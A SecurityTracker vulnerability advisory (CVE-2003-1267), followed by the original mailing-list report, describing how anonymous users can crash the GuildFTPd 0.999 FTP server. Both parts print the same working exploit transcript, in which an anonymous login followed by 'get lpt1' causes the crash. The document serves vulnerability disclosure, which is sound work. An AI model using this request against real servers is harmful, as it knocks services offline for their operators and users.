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Category:   Application (File Transfer/Sharing)  >   GuildFTPd Vendors:   DrPhibez and Nitro187
GuildFTPd FTP Server Can Be Crashed By Remote Users Requesting DOS Device Names
SecurityTracker Alert ID:  1005864
SecurityTracker URL:  http://securitytracker.com/id/1005864
CVE Reference:   CVE-2003-1267   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Dec 30 2002
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 0.999
Description:   Securma Massine reported a vulnerability in the GuildFTPd FTP server. A remote authenticated user, including an anonymous user, can cause the FTP service to crash.

It is reported that a remote user can request a file with a DOS device name to cause the FTP service to crash.

A demonstration exploit transcript is provided:

D:\>ftp 127.0.0.1
Connect 127.0.0.1.
220-GuildFTPd FTP Server (c) 1997-2002
220-Version 0.999
220 Please enter your name:
Utilisateur (127.0.0.1:(none)) : anonymous
331 User name okay, Need password.
Mot de passe :
230 User logged in.
ftp> get lpt1
200 PORT command successful.
150 Opening ascii mode data connection for /lpt1 (0 bytes).
(no response)

Impact:   A remote authenticated user can cause the FTP service to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.guildftpd.com/ (Links to External Site)
Cause:   Exception handling error, Input validation error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  GuildFTPd remote DOS



GuildFTPd is an FTP server for the Windows operating 
system. http://www.guildftpd.com/
I found that guildftp version 0.999 crash after one get lpt1
and the closing of the connection
D:\>ftp 127.0.0.1
220-GuildFTPd FTP Server (c) 1997-2002
220-Version 0.999
220 Please enter your name:
Utilisateur (127.0.0.1:(none)) : anonymous
331 User name okay, Need password.
Mot de passe :
230 User logged in.
ftp> get lpt1
200 PORT command successful.
150 Opening ascii mode data connection for /lpt1 (0 bytes).
(no response)
after closing client the server crash

securma massine

_________________________________________________________ 
Gagne une PS2 ! Envoie un SMS avec le code PS au 61166



 
 


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